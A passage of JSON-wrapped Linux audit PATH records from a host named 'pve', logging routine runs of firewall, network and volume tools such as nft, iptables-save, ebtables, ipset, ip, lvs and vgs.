cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145880,"@rawstring":"node=pve type=PATH msg=audit(1781965145.880:64347): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965145880,"@rawstring":"node=pve type=PATH msg=audit(1781965145.880:64347): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965144971,"@rawstring":"node=pve type=PATH msg=audit(1781965144.971:64346): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965144971,"@rawstring":"node=pve type=PATH msg=audit(1781965144.971:64346): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965144945,"@rawstring":"node=pve type=PATH msg=audit(1781965144.945:64345): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965144945,"@rawstring":"node=pve type=PATH msg=audit(1781965144.945:64345): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965141947,"@rawstring":"node=pve type=PATH msg=audit(1781965141.947:64344): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965141947,"@rawstring":"node=pve type=PATH msg=audit(1781965141.947:64344): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965141947,"@rawstring":"node=pve type=PATH msg=audit(1781965141.947:64343): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965141947,"@rawstring":"node=pve type=PATH msg=audit(1781965141.947:64342): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965141939,"@rawstring":"node=pve type=PATH msg=audit(1781965141.939:64341): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965141939,"@rawstring":"node=pve type=PATH msg=audit(1781965141.939:64341): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965141939,"@rawstring":"node=pve type=PATH msg=audit(1781965141.939:64340): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965141938,"@rawstring":"node=pve type=PATH msg=audit(1781965141.938:64339): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965136927,"@rawstring":"node=pve type=PATH msg=audit(1781965136.927:64338): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965136927,"@rawstring":"node=pve type=PATH msg=audit(1781965136.927:64338): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965136927,"@rawstring":"node=pve type=PATH msg=audit(1781965136.927:64337): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965136927,"@rawstring":"node=pve type=PATH msg=audit(1781965136.927:64336): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965136915,"@rawstring":"node=pve type=PATH msg=audit(1781965136.915:64335): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965136915,"@rawstring":"node=pve type=PATH msg=audit(1781965136.915:64335): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965136915,"@rawstring":"node=pve type=PATH msg=audit(1781965136.915:64334): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965136915,"@rawstring":"node=pve type=PATH msg=audit(1781965136.915:64333): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135869,"@rawstring":"node=pve type=PATH msg=audit(1781965135.869:64332): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135869,"@rawstring":"node=pve type=PATH msg=audit(1781965135.869:64332): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135866,"@rawstring":"node=pve type=PATH msg=audit(1781965135.866:64331): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135866,"@rawstring":"node=pve type=PATH msg=audit(1781965135.866:64331): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135865,"@rawstring":"node=pve type=PATH msg=audit(1781965135.865:64330): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135865,"@rawstring":"node=pve type=PATH msg=audit(1781965135.865:64330): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135865,"@rawstring":"node=pve type=PATH msg=audit(1781965135.865:64329): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135861,"@rawstring":"node=pve type=PATH msg=audit(1781965135.861:64328): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135861,"@rawstring":"node=pve type=PATH msg=audit(1781965135.861:64328): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135861,"@rawstring":"node=pve type=PATH msg=audit(1781965135.861:64328): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135855,"@rawstring":"node=pve type=PATH msg=audit(1781965135.855:64327): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135855,"@rawstring":"node=pve type=PATH msg=audit(1781965135.855:64327): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135848,"@rawstring":"node=pve type=PATH msg=audit(1781965135.848:64326): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135848,"@rawstring":"node=pve type=PATH msg=audit(1781965135.848:64326): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135841,"@rawstring":"node=pve type=PATH msg=audit(1781965135.841:64325): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135841,"@rawstring":"node=pve type=PATH msg=audit(1781965135.841:64325): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135833,"@rawstring":"node=pve type=PATH msg=audit(1781965135.833:64324): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135833,"@rawstring":"node=pve type=PATH msg=audit(1781965135.833:64324): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135828,"@rawstring":"node=pve type=PATH msg=audit(1781965135.828:64322): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135828,"@rawstring":"node=pve type=PATH msg=audit(1781965135.828:64322): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135822,"@rawstring":"node=pve type=PATH msg=audit(1781965135.822:64321): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135822,"@rawstring":"node=pve type=PATH msg=audit(1781965135.822:64321): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135815,"@rawstring":"node=pve type=PATH msg=audit(1781965135.815:64320): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135815,"@rawstring":"node=pve type=PATH msg=audit(1781965135.815:64320): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135809,"@rawstring":"node=pve type=PATH msg=audit(1781965135.809:64319): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135809,"@rawstring":"node=pve type=PATH msg=audit(1781965135.809:64319): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135802,"@rawstring":"node=pve type=PATH msg=audit(1781965135.802:64318): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135802,"@rawstring":"node=pve type=PATH msg=audit(1781965135.802:64318): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135797,"@rawstring":"node=pve type=PATH msg=audit(1781965135.797:64317): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135797,"@rawstring":"node=pve type=PATH msg=audit(1781965135.797:64317): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135791,"@rawstring":"node=pve type=PATH msg=audit(1781965135.791:64316): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135791,"@rawstring":"node=pve type=PATH msg=audit(1781965135.791:64316): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135781,"@rawstring":"node=pve type=PATH msg=audit(1781965135.781:64315): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135781,"@rawstring":"node=pve type=PATH msg=audit(1781965135.781:64315): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135776,"@rawstring":"node=pve type=PATH msg=audit(1781965135.776:64314): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135776,"@rawstring":"node=pve type=PATH msg=audit(1781965135.776:64314): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135772,"@rawstring":"node=pve type=PATH msg=audit(1781965135.772:64313): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135772,"@rawstring":"node=pve type=PATH msg=audit(1781965135.772:64313): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135770,"@rawstring":"node=pve type=PATH msg=audit(1781965135.770:64312): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135770,"@rawstring":"node=pve type=PATH msg=audit(1781965135.770:64312): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135770,"@rawstring":"node=pve type=PATH msg=audit(1781965135.770:64311): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135766,"@rawstring":"node=pve type=PATH msg=audit(1781965135.766:64310): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135766,"@rawstring":"node=pve type=PATH msg=audit(1781965135.766:64310): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135766,"@rawstring":"node=pve type=PATH msg=audit(1781965135.766:64310): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135759,"@rawstring":"node=pve type=PATH msg=audit(1781965135.759:64309): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135759,"@rawstring":"node=pve type=PATH msg=audit(1781965135.759:64309): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135751,"@rawstring":"node=pve type=PATH msg=audit(1781965135.751:64308): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135751,"@rawstring":"node=pve type=PATH msg=audit(1781965135.751:64308): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135745,"@rawstring":"node=pve type=PATH msg=audit(1781965135.745:64307): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135745,"@rawstring":"node=pve type=PATH msg=audit(1781965135.745:64307): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135737,"@rawstring":"node=pve type=PATH msg=audit(1781965135.737:64306): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135737,"@rawstring":"node=pve type=PATH msg=audit(1781965135.737:64306): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135728,"@rawstring":"node=pve type=PATH msg=audit(1781965135.728:64305): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135728,"@rawstring":"node=pve type=PATH msg=audit(1781965135.728:64305): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965134860,"@rawstring":"node=pve type=PATH msg=audit(1781965134.860:64304): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965134860,"@rawstring":"node=pve type=PATH msg=audit(1781965134.860:64304): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965134826,"@rawstring":"node=pve type=PATH msg=audit(1781965134.826:64303): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965134826,"@rawstring":"node=pve type=PATH msg=audit(1781965134.826:64303): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965131904,"@rawstring":"node=pve type=PATH msg=audit(1781965131.904:64302): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965131904,"@rawstring":"node=pve type=PATH msg=audit(1781965131.904:64302): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965131904,"@rawstring":"node=pve type=PATH msg=audit(1781965131.904:64301): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965131904,"@rawstring":"node=pve type=PATH msg=audit(1781965131.904:64300): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965131898,"@rawstring":"node=pve type=PATH msg=audit(1781965131.898:64299): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965131898,"@rawstring":"node=pve type=PATH msg=audit(1781965131.898:64299): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965131898,"@rawstring":"node=pve type=PATH msg=audit(1781965131.898:64298): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965131898,"@rawstring":"node=pve type=PATH msg=audit(1781965131.898:64297): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965131522,"@rawstring":"node=pve type=PATH msg=audit(1781965131.522:64296): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965131522,"@rawstring":"node=pve type=PATH msg=audit(1781965131.522:64296): item=0 name=\"/usr/bin/find\" inode=260723 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965126887,"@rawstring":"node=pve type=PATH msg=audit(1781965126.887:64295): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965126887,"@rawstring":"node=pve type=PATH msg=audit(1781965126.887:64295): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965126887,"@rawstring":"node=pve type=PATH msg=audit(1781965126.887:64294): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965126887,"@rawstring":"node=pve type=PATH msg=audit(1781965126.887:64293): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965126878,"@rawstring":"node=pve type=PATH msg=audit(1781965126.878:64292): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965126878,"@rawstring":"node=pve type=PATH msg=audit(1781965126.878:64292): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 